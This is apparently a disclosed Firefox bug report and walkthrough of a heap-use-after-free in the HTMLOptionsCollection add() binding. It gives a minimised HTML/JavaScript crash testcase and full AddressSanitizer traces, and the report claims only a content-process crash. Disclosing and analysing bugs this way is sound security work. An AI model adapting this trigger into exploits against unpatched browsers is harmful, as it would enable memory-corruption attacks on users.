heap-use-after-free in mozilla::dom::HTMLOptionsCollection_Binding::add
A use-after-free occurs in Firefox's HTMLOptionsCollection add() binding when a DOMNodeRemoved listener runs during insertion and forces garbage and cycle collection, freeing a node that the insertion code then reads. An attacker could trigger a crash of the content process with a crafted page, and the report does not claim anything beyond that.
- Fixed in 21 days
- Paid in 4 months
- Disclosed after 21 days
Created attachment 9018034 crash.html (minimised testcase)
The following testcase crashes the lates ASAN build of Firefox 64.0a1 (BuildID=20181017165417). It requires a fuzzing build (--enable-fuzzing) and the pref fuzzing.enabled=true.
<script> function start() { o260=document.createElementNS('http://www.w3.org/1999/xhtml','select'); o261=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup'); o577=o260.options; o651=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup'); o261.appendChild(o651); o261.addEventListener('DOMNodeRemoved',fun0); o995=o577.add(o651); } function fun0() { o260=null;o261=null;o651=null; FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect(); } </script> <body onload="start()"></body>ASAN output:
==15482==ERROR: AddressSanitizer: heap-use-after-free on address 0x6120000aef68 at pc 0x7f73eef09f74 bp 0x7ffe1de27650 sp 0x7ffe1de27648 READ of size 8 at 0x6120000aef68 thread T0 (file:// Content) #0 0x7f73eef09f73 in GetParentNode /builds/worker/workspace/build/src/dom/base/nsINode.h:953:12 #1 0x7f73eef09f73 in IsDocument /builds/worker/workspace/build/src/dom/base/nsINode.h:418 #2 0x7f73eef09f73 in IsAllowedAsChild(nsIContent*, nsINode*, bool, nsINode*) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2092 #3 0x7f73eef0a58a in EnsurePreInsertionValidity2 /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2241:8 #4 0x7f73eef0a58a in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2307 #5 0x7f73f1ae800e in mozilla::dom::HTMLOptionsCollection_Binding::add(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLOptionsCollection*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLOptionsCollectionBinding.cpp:170:9 #6 0x7f73f1e4f270 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3315:13 #7 0x7f73fac5f60b in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468:15 #8 0x7f73fac5f60b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:560 #9 0x7f73fac4858e in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:620:12 #10 0x7f73fac4858e in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3458 #11 0x7f73fac2d85b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:12 #12 0x7f73fac6011e in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:587:15 #13 0x7f73fac61eb2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:633:10 #14 0x7f73f9d3550d in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2979:12 #15 0x7f73f13e8efa in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:265:37 #16 0x7f73f26eae4a in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12 #17 0x7f73f26e82ce in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214:12 #18 0x7f73f269d445 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1106:52 #19 0x7f73f269f40c in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1308:15 #20 0x7f73f268226e in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:390:5 #21 0x7f73f268226e in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:424 #22 0x7f73f2680513 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:641:16 #23 0x7f73f2686fe8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1156:11 #24 0x7f73f5316c06 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1167:7 #25 0x7f73f81afe24 in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7151:21 #26 0x7f73f81aae97 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6942:7 #27 0x7f73f81b4327 in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #28 0x7f73ed4da465 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1307:3 #29 0x7f73ed4d904c in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:850:14 #30 0x7f73ed4d4b39 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:739:9 #31 0x7f73ed4d7412 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:628:5 #32 0x7f73ed4d8b74 in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp #33 0x7f73eaf164d2 in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28 #34 0x7f73eee27de7 in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8351:18 #35 0x7f73eee27de7 in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8273 #36 0x7f73eee031fc in nsIDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5297:3 #37 0x7f73eef6939b in applyImpl<nsIDocument, void (nsIDocument::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1191:12 #38 0x7f73eef6939b in apply<nsIDocument, void (nsIDocument::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1197 #39 0x7f73eef6939b in mozilla::detail::RunnableMethodImpl<nsIDocument*, void (nsIDocument::)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1242 #40 0x7f73eac56be5 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32 #41 0x7f73eac93c06 in nsThread::ProcessNextEvent(bool, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1252:14 #42 0x7f73eac9c72d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:530:10 #43 0x7f73ebeb3df3 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #44 0x7f73ebdb69dc in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10 #45 0x7f73ebdb69dc in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318 #46 0x7f73ebdb69dc in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298 #47 0x7f73f4ab7573 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #48 0x7f73f8f75a6e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:939:22 #49 0x7f73ebdb69dc in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10 #50 0x7f73ebdb69dc in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318 #51 0x7f73ebdb69dc in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298 #52 0x7f73f8f74b13 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:765:34 #53 0x55a4bad84b91 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30 #54 0x55a4bad84b91 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:287 #55 0x7f740ced1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #56 0x55a4bacb3f3c in _start (/home/nils/fuzzer3/firefox/firefox+0x2cf3c)
0x6120000aef68 is located 40 bytes inside of 288-byte region [0x6120000aef40,0x6120000af060) freed by thread T0 (file:// Content) here: #0 0x55a4bad54372 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3 #1 0x7f73eaa98d51 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2740:7 #2 0x7f73eaa97500 in nsCycleCollector::FreeSnowWhite(bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2963:3 #3 0x7f73eaaa39af in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3996:3 #4 0x7f73eaaa2c84 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3817:9 #5 0x7f73eaaa7c13 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4408:21 #6 0x7f73eef234ee in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1526:3 #7 0x7f73f1703d41 in mozilla::dom::FuzzingFunctions_Binding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:60:3 #8 0x7f73fac5f60b in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468:15 #9 0x7f73fac5f60b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:560 #10 0x7f73fac4858e in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:620:12 #11 0x7f73fac4858e in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3458 #12 0x7f73fac2d85b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:12 #13 0x7f73fac6011e in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:587:15 #14 0x7f73fac61eb2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:633:10 #15 0x7f73f9d3550d in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2979:12 #16 0x7f73f13eee9e in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:52:8 #17 0x7f73f269d3ec in HandleEvent<mozilla::dom::EventTarget > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12 #18 0x7f73f269d3ec in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1103 #19 0x7f73f269f40c in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1308:15 #20 0x7f73f268226e in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:390:5 #21 0x7f73f268226e in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:424 #22 0x7f73f2680a14 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:677:14 #23 0x7f73f2686fe8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1156:11 #24 0x7f73ee8f0170 in nsContentUtils::MaybeFireNodeRemoved(nsINode, nsINode*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4759:5 #25 0x7f73eef0a49c in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2292:7 #26 0x7f73f1ae800e in mozilla::dom::HTMLOptionsCollection_Binding::add(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLOptionsCollection*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLOptionsCollectionBinding.cpp:170:9 #27 0x7f73f1e4f270 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3315:13 #28 0x7f73fac5f60b in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468:15 #29 0x7f73fac5f60b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:560 #30 0x7f73fac4858e in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:620:12 #31 0x7f73fac4858e in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3458 #32 0x7f73fac2d85b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:12 #33 0x7f73fac6011e in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:587:15 #34 0x7f73fac61eb2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:633:10 #35 0x7f73f9d3550d in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2979:12
previously allocated by thread T0 (file:// Content) here: #0 0x55a4bad546b3 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3 #1 0x55a4bad85acd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17 #2 0x7f73f2adc8e1 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:139:12 #3 0x7f73f2adc8e1 in NS_NewHTMLSelectElement(already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/HTMLSelectElement.cpp:40 #4 0x7f73f2b94c17 in CreateHTMLElement(unsigned int, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:255:41 #5 0x7f73ee9308d9 in nsContentUtils::NewXULOrHTMLElement(mozilla::dom::Element**, mozilla::dom::NodeInfo*, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:10153:18 #6 0x7f73f2b94aeb in NS_NewHTMLElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:238:10 #7 0x7f73eef7fd0c in NS_NewElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser, nsTSubstring<char16_t> const*) /builds/worker/workspace/build/src/dom/base/nsNameSpaceManager.cpp:192:12 #8 0x7f73eee0b045 in nsIDocument::CreateElementNS(nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, mozilla::dom::ElementCreationOptionsOrString const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5796:8 #9 0x7f73f1453148 in mozilla::dom::Document_Binding::createElementNS(JSContext*, JS::Handle<JSObject*>, nsIDocument*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:1360:59 #10 0x7f73f1e4f270 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3315:13 #11 0x7f73fac5f60b in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468:15 #12 0x7f73fac5f60b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:560 #13 0x7f73fac4858e in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:620:12 #14 0x7f73fac4858e in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3458 #15 0x7f73fac2d85b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:12 #16 0x7f73fac6011e in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:587:15 #17 0x7f73fac61eb2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:633:10 #18 0x7f73f9d3550d in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2979:12 #19 0x7f73f13e8efa in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:265:37 #20 0x7f73f26eae4a in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12 #21 0x7f73f26e82ce in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214:12 #22 0x7f73f269d445 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1106:52 #23 0x7f73f269f40c in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1308:15 #24 0x7f73f268226e in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:390:5 #25 0x7f73f268226e in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:424 #26 0x7f73f2680513 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:641:16 #27 0x7f73f2686fe8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1156:11 #28 0x7f73f5316c06 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1167:7 #29 0x7f73f81afe24 in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7151:21 #30 0x7f73f81aae97 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6942:7 #31 0x7f73f81b4327 in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #32 0x7f73ed4da465 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1307:3 #33 0x7f73ed4d904c in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:850:14
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/base/nsINode.h:953:12 in GetParentNode Shadow bytes around the buggy address: 0x0c248000dd90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c248000dda0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa 0x0c248000ddb0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c248000ddc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c248000ddd0: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa =>0x0c248000dde0: fa fa fa fa fa fa fa fa fd fd fd fd fd[fd]fd fd 0x0c248000ddf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c248000de00: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c248000de10: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c248000de20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c248000de30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==15482==ABORTING
Context
This is a memory-safety bug in Firefox's DOM implementation, specifically in the code path behind HTMLOptionsCollection.add, the method exposed on a <select> element's options collection. The crash is a heap-use-after-free: an object is freed during a cycle collection triggered from inside a DOMNodeRemoved event handler, and then dereferenced when the insertion logic resumes.
The affected component is Core: DOM: Core & HTML. The report was filed against Mozilla and disclosed on 7 November 2018.
Setup
The testcase crashes the latest ASAN build of Firefox 64.0a1 (BuildID=20181017165417). Two preconditions are required:
- A fuzzing build, configured with
--enable-fuzzing. - The preference
fuzzing.enabled=true, which exposes theFuzzingFunctionsobject used to force garbage and cycle collection from script.
The testcase was attached as crash.html, described as a minimised testcase.
Finding it
The trigger is a small interaction between three DOM operations: creating a detached <select> and <optgroup>, attaching a DOMNodeRemoved listener to the parent optgroup, and then calling options.add() with a node that is already a child of that optgroup. The listener fires during the insertion, and inside it the script drops all references and forces two rounds of garbage collection and cycle collection. The freed object is then touched by the insertion code that is still on the stack.
Exploitation
Step 1: build the node tree
The start function runs on page load and creates the elements with createElementNS in the XHTML namespace:
function start() {
o260=document.createElementNS('http://www.w3.org/1999/xhtml','select');
o261=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');
o577=o260.options;
o651=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');
o261.appendChild(o651);
o261.addEventListener('DOMNodeRemoved',fun0);
o995=o577.add(o651);
}
o260 is a detached <select>, o261 an <optgroup>, and o577 holds the select's options collection. A second optgroup, o651, is appended to o261, so o651 has a parent. The DOMNodeRemoved listener fun0 is registered on o261, the parent of o651.
Step 2: call add with a node that has a parent
o577.add(o651) asks the options collection to insert o651. Because o651 already has a parent (o261), the insertion path calls nsINode::ReplaceOrInsertBefore, which fires DOMNodeRemoved on the old parent before completing the move. That event reaches fun0 while the insertion is still in progress.
Step 3: free the objects from inside the event handler
function fun0() {
o260=null;o261=null;o651=null;
FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();
}
The handler clears every global reference to the select, the optgroup and the child optgroup, then runs two rounds of garbage collection and cycle collection. With no script references left, the cycle collector frees the select element that the pending insertion still needs. When the handler returns, ReplaceOrInsertBefore continues and reads through the freed memory.
Step 4: the crash
ASAN reports a heap-use-after-free, a READ of size 8, in the content process:
==15482==ERROR: AddressSanitizer: heap-use-after-free on address 0x6120000aef68 at pc 0x7f73eef09f74 bp 0x7ffe1de27650 sp 0x7ffe1de27648
READ of size 8 at 0x6120000aef68 thread T0 (file:// Content)
#0 0x7f73eef09f73 in GetParentNode /builds/worker/workspace/build/src/dom/base/nsINode.h:953:12
#1 0x7f73eef09f73 in IsDocument /builds/worker/workspace/build/src/dom/base/nsINode.h:418
#2 0x7f73eef09f73 in IsAllowedAsChild(nsIContent*, nsINode*, bool, nsINode*) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2092
#3 0x7f73eef0a58a in EnsurePreInsertionValidity2 /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2241:8
